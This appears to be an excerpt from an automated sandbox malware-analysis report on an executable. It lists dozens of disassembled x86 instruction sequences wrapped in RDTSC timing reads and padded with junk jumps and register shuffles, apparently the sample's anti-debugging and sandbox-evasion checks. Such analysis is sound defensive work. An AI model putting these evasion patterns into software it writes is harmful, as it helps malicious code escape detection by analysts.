Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5460027 second address: 54600C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ecx, 6412CD53h 0x00000012 call 00007F17B0FBC278h 0x00000017 call 00007F17B0FBC272h 0x0000001c pop eax 0x0000001d pop edi 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F17B0FBC271h 0x00000025 xchg eax, ebp 0x00000026 pushad 0x00000027 mov dx, cx 0x0000002a mov edx, eax 0x0000002c popad 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 push edx 0x00000033 pop ecx 0x00000034 pushfd 0x00000035 jmp 00007F17B0FBC273h 0x0000003a and ch, FFFFFFAEh 0x0000003d jmp 00007F17B0FBC279h 0x00000042 popfd 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54600C5 second address: 54600E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov eax, 24AD932Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F17B0CB1431h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F00C9 second address: 53F00CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F00CF second address: 53F00D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F00D5 second address: 53F0117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC278h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov edx, 32D75D80h 0x00000014 call 00007F17B0FBC279h 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0117 second address: 53F0128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0128 second address: 53F012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F012C second address: 53F013B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F013B second address: 53F0141 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F0141 second address: 53F01A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1430h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c mov edi, 57510370h 0x00000011 pop edi 0x00000012 pushfd 0x00000013 jmp 00007F17B0CB1436h 0x00000018 xor ax, 6BB8h 0x0000001d jmp 00007F17B0CB142Bh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F17B0CB1435h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 53F021B second address: 53F0221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A1E second address: 5410A22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A22 second address: 5410A26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A26 second address: 5410A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A2C second address: 5410A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A32 second address: 5410A61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F17B0CB1437h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410A61 second address: 5410AAA instructions: 0x00000000 rdtsc 0x00000002 call 00007F17B0FBC278h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ebx, 2391E316h 0x0000000f popad 0x00000010 xchg eax, ebp 0x00000011 jmp 00007F17B0FBC26Dh 0x00000016 mov ebp, esp 0x00000018 jmp 00007F17B0FBC26Eh 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410AAA second address: 5410AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410AAF second address: 5410AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410AB5 second address: 5410AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54106B8 second address: 54106C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC26Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54106C8 second address: 54106CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410550 second address: 5410556 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410556 second address: 541055C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 541055C second address: 5410560 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54102D5 second address: 5410308 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1437h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F17B0CB1435h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410308 second address: 5410318 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC26Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5410318 second address: 541035B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F17B0CB142Eh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F17B0CB1430h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F17B0CB1437h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54200D5 second address: 54200ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0FBC274h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54200ED second address: 54200F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54200F1 second address: 5420172 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 pushad 0x0000000a mov ch, D0h 0x0000000c pushfd 0x0000000d jmp 00007F17B0FBC26Fh 0x00000012 sub cl, 0000003Eh 0x00000015 jmp 00007F17B0FBC279h 0x0000001a popfd 0x0000001b popad 0x0000001c mov dword ptr [esp], ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F17B0FBC26Ch 0x00000026 sbb esi, 4F110E38h 0x0000002c jmp 00007F17B0FBC26Bh 0x00000031 popfd 0x00000032 mov si, 7C6Fh 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 jmp 00007F17B0FBC272h 0x0000003e pop ebp 0x0000003f pushad 0x00000040 mov eax, 26DF632Dh 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420172 second address: 5420176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450EB7 second address: 5450F17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F17B0FBC26Ah 0x0000000a jmp 00007F17B0FBC275h 0x0000000f popfd 0x00000010 popad 0x00000011 mov dx, ax 0x00000014 popad 0x00000015 push eax 0x00000016 jmp 00007F17B0FBC26Dh 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d mov bx, ax 0x00000020 mov cx, 971Fh 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007F17B0FBC272h 0x0000002c pop ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov ecx, ebx 0x00000032 mov cx, dx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450F17 second address: 5450F1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5430314 second address: 543031C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx esi, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 543031C second address: 54303F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1434h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F17B0CB142Eh 0x00000011 jmp 00007F17B0CB1435h 0x00000016 popfd 0x00000017 mov edi, ecx 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c jmp 00007F17B0CB142Ah 0x00000021 mov eax, dword ptr [ebp+08h] 0x00000024 pushad 0x00000025 mov cl, 65h 0x00000027 mov bx, E61Eh 0x0000002b popad 0x0000002c and dword ptr [eax], 00000000h 0x0000002f pushad 0x00000030 pushad 0x00000031 push edx 0x00000032 pop ecx 0x00000033 pushfd 0x00000034 jmp 00007F17B0CB1439h 0x00000039 sub ax, CC56h 0x0000003e jmp 00007F17B0CB1431h 0x00000043 popfd 0x00000044 popad 0x00000045 popad 0x00000046 and dword ptr [eax+04h], 00000000h 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007F17B0CB142Ch 0x00000051 jmp 00007F17B0CB1435h 0x00000056 popfd 0x00000057 movzx esi, dx 0x0000005a popad 0x0000005b pop ebp 0x0000005c push eax 0x0000005d push edx 0x0000005e pushad 0x0000005f mov di, cx 0x00000062 call 00007F17B0CB1430h 0x00000067 pop eax 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54104B1 second address: 54104B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54104B7 second address: 54104D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F17B0CB1434h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54104D6 second address: 54104DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420D99 second address: 5420DB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1438h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5420DB5 second address: 5420DF9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F17B0FBC274h 0x00000011 add cl, 00000018h 0x00000014 jmp 00007F17B0FBC26Bh 0x00000019 popfd 0x0000001a movzx eax, bx 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 mov bl, ch 0x00000025 mov si, di 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450670 second address: 54506F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F17B0CB1437h 0x00000008 pushfd 0x00000009 jmp 00007F17B0CB1438h 0x0000000e or cl, 00000028h 0x00000011 jmp 00007F17B0CB142Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F17B0CB1434h 0x00000022 sub al, FFFFFF88h 0x00000025 jmp 00007F17B0CB142Bh 0x0000002a popfd 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F17B0CB1436h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54506F3 second address: 545077C instructions: 0x00000000 rdtsc 0x00000002 mov ah, DCh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F17B0FBC278h 0x00000010 jmp 00007F17B0FBC275h 0x00000015 popfd 0x00000016 jmp 00007F17B0FBC270h 0x0000001b popad 0x0000001c jmp 00007F17B0FBC272h 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F17B0FBC26Eh 0x0000002a or ch, 00000008h 0x0000002d jmp 00007F17B0FBC26Bh 0x00000032 popfd 0x00000033 movzx eax, dx 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 545077C second address: 5450782 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450782 second address: 5450788 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450788 second address: 545078C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 545078C second address: 5450790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450790 second address: 54507B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F17B0CB1439h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54507B4 second address: 54507F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC271h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F17B0FBC26Eh 0x00000011 mov eax, dword ptr [76FB65FCh] 0x00000016 pushad 0x00000017 jmp 00007F17B0FBC26Eh 0x0000001c push eax 0x0000001d push edx 0x0000001e mov dx, si 0x00000021 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54507F3 second address: 5450819 instructions: 0x00000000 rdtsc 0x00000002 mov dl, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test eax, eax 0x00000009 pushad 0x0000000a mov eax, ebx 0x0000000c mov ecx, ebx 0x0000000e popad 0x0000000f je 00007F182279458Ah 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 mov si, C391h 0x0000001d popad 0x0000001e mov ecx, eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450819 second address: 545081D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 545081D second address: 5450823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450823 second address: 5450897 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F17B0FBC26Eh 0x00000009 jmp 00007F17B0FBC275h 0x0000000e popfd 0x0000000f call 00007F17B0FBC270h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 xor eax, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov eax, edx 0x00000020 pushfd 0x00000021 jmp 00007F17B0FBC26Fh 0x00000026 sbb cx, 2E3Eh 0x0000002b jmp 00007F17B0FBC279h 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450897 second address: 54508A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54508A7 second address: 5450921 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and ecx, 1Fh 0x0000000e pushad 0x0000000f mov bx, cx 0x00000012 call 00007F17B0FBC270h 0x00000017 mov edx, eax 0x00000019 pop esi 0x0000001a popad 0x0000001b ror eax, cl 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F17B0FBC273h 0x00000024 sbb cx, 1E5Eh 0x00000029 jmp 00007F17B0FBC279h 0x0000002e popfd 0x0000002f jmp 00007F17B0FBC270h 0x00000034 popad 0x00000035 leave 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450921 second address: 5450925 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450925 second address: 5450929 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450929 second address: 545092F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 545092F second address: 5450999 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC274h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00CA4014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F17B57AB460h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007F17B0FBC270h 0x0000002b pop eax 0x0000002c jmp 00007F17B0FBC270h 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 call 00007F17B57AB47Dh 0x00000039 mov edi, edi 0x0000003b jmp 00007F17B0FBC270h 0x00000040 xchg eax, ebp 0x00000041 jmp 00007F17B0FBC270h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push esi 0x0000004b pop edx 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450999 second address: 545099E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 545099E second address: 5450A1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0FBC26Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F17B0FBC274h 0x00000011 sbb cx, CB08h 0x00000016 jmp 00007F17B0FBC26Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F17B0FBC278h 0x00000022 and ax, 6D68h 0x00000027 jmp 00007F17B0FBC26Bh 0x0000002c popfd 0x0000002d popad 0x0000002e mov ebp, esp 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007F17B0FBC270h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450A1A second address: 5450A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB142Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5450A29 second address: 5450A59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F17B0FBC275h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e pushad 0x0000000f jmp 00007F17B0FBC26Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 movzx eax, bx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400013 second address: 5400044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushfd 0x00000007 jmp 00007F17B0CB142Ch 0x0000000c sbb ecx, 6C073048h 0x00000012 jmp 00007F17B0CB142Bh 0x00000017 popfd 0x00000018 pop ecx 0x00000019 popad 0x0000001a push esp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov esi, ebx 0x00000020 movsx ebx, ax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 5400044 second address: 540004A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 540004A second address: 54000C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F17B0CB1431h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F17B0CB142Eh 0x00000013 mov ebp, esp 0x00000015 jmp 00007F17B0CB1430h 0x0000001a and esp, FFFFFFF8h 0x0000001d jmp 00007F17B0CB1430h 0x00000022 xchg eax, ecx 0x00000023 pushad 0x00000024 mov esi, 65329ABDh 0x00000029 pushfd 0x0000002a jmp 00007F17B0CB142Ah 0x0000002f or esi, 65F51A98h 0x00000035 jmp 00007F17B0CB142Bh 0x0000003a popfd 0x0000003b popad 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 mov ebx, esi 0x00000042 push ecx 0x00000043 pop edi 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54000C5 second address: 54000F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 jmp 00007F17B0FBC275h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F17B0FBC26Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	RDTSC instruction interceptor: First address: 54000F2 second address: 5400102 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F17B0CB142Ch 0x00000009 rdtsc
